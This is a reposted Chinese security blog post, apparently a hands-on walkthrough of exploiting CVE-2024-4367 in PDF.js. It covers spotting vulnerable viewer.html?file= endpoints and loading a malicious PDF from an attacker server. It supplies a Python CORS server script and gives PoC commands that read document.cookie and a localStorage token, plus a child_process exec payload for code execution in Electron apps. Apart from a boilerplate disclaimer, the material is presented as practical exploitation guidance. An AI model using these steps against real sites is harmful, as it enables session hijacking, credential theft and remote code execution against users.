PDF.JS任意JS代码执行漏洞踩坑实践

admin 2026-03-03 05:58:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述了CVE-2024-4367漏洞在PDF.js组件中的踩坑实战,涵盖组件识别、PoC利用及环境配置。重点解决了远程加载恶意PDF时的CORS跨域拦截问题,提供了支持跨域的Python服务脚本。文章进一步展示了窃取Cookie、Token以及在Electron应用中实现RCE的具体方法,内容实操性强,为相关漏洞复现与利用提供了有效参考。 综合评分: 82 文章分类: 漏洞POC,渗透测试,实战经验


cover_image

PDF.JS任意JS代码执行漏洞踩坑实践

原创

ss ss

shadowsec

2026年2月25日 15:28 河南

PDF.js作为Mozilla开发的开源PDF阅读器库,被广泛应用于Firefox浏览器和Web应用中。之前爆出的CVE-2024-4367漏洞允许攻击者通过构造恶意PDF文件执行任意JavaScript代码,影响范围包括Firefox浏览器及依赖PDF.js的Web/Electron应用。

漏洞探测

    http://xxx.com/xxx/xxxx/html/web/viewer.html?file= 形如这类格式的,功能点为预览PDF内容可以确定为PDF.JS组件

    发现这里File参数支持http协议获取PDF内容

    那么可以尝试远程加载恶意pdf的方式来利用该漏洞(如果这里不存在远程加载,仍然可以通过寻找上传口上传pdf文件来实现漏洞利用,这里不再赘述)

漏洞利用

利用poc:

https://github.com/LOURC0D3/CVE-2024-4367-PoC/blob/main/CVE-2024-4367.py

利用服务器起一个服务:

然后利用组件访问恶意服务器

http://xxx.com/web/viewer.html?file=http://xxx.com/poc.pdf

    有时会发现显示载入pdf时发生错误。这时候或许并不是不能加载,而是python起服务默认不会开启cors可跨域,导致浏览器直接阻止了pdf.js获取pdf文件。

那么这里则需要构造python脚本开启cors可任意跨域

| | | | — | — | | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | import http.server import socketserver from functools import partial classCORSRequestHandler(http.server.SimpleHTTPRequestHandler): defend_headers(self): self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Access-Control-Allow-Methods', 'GET, HEAD, OPTIONS') self.send_header('Access-Control-Allow-Headers', 'Content-Type') super().end_headers()  defdo_OPTIONS(self): self.send_response(200) self.end_headers()  classReuseTCPServer(socketserver.TCPServer):   allow_reuse_address = True PORT = 8080 DIRECTORY = "." with ReuseTCPServer(("", PORT), partial(CORSRequestHandler, directory=DIRECTORY)) as httpd: print(f"Serving at http://0.0.0.0:{PORT} with CORS enabled")   httpd.serve_forever() |

此时在起python服务

访问就可以正常执行了

    (如果谷歌浏览器限制不允许pdf中js执行,也可以更换浏览器尝试,比如火狐进行尝试)

获取cookie

| | | | — | — | | 1 | Python CVE-2024-4367.py alert(document.cookie) |

获取Token

    如果不是cookie,而是认证类型如jwt等则用,生成,jwt认证凭证存储在localStorage中

| | | | — | — | | 1 | python CVE-2024-4367.pyalert(localStorage.getItem('token'))  |

代码执行(需要条件)

| | | | — | — | | 1 | python CVE-2024-4367.py"require('child_process').exec('calc');" |

参考文章

https://www.4awl.net/13333.html

从 XSS 到 RCE:Electron 应用中的真实攻击链


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:shadowsec ss ss《PDF.JS任意JS代码执行漏洞踩坑实践》

全市科技创新大会举行 网络安全文章

全市科技创新大会举行

文章总结: 武汉市召开科技创新大会,确立一城三廊多带战略布局,旨在打造国家科技创新中心。会议强调以东湖科学城为核心引擎,建设光谷、车谷及滨江数创三大走廊,推动科
评论:0   参与:  0